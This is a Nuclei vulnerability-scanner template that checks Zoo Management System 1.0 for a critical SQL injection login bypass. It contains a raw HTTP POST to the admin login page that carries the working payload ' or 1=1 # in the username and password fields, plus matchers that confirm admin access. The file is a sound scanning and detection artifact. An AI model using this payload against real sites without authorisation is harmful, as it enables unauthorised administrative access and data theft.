nuclei-templates/http/vulnerabilities/other/zms-auth-bypass.yaml

45 lines
1.4 KiB
YAML

id: zms-auth-bypass
info:
name: Zoo Management System 1.0 - SQL Injection
author: dwisiswant0
severity: critical
description: Zoo Management System 1.0 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://www.exploit-db.com/exploits/48880
- https://packetstormsecurity.com/files/159567/Zoo-Management-System-1.0-SQL-Injection.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-89
tags: edb,auth-bypass,packetstorm,zms
metadata:
max-request: 1
http:
- raw:
- |
POST /zms/admin/index.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/zms/admin/index.php
Cookie: PHPSESSID={{randstr}}
username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
host-redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: regex
regex:
- "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
- "ZMS ADMIN"
condition: and
part: body
- type: status
status:
- 200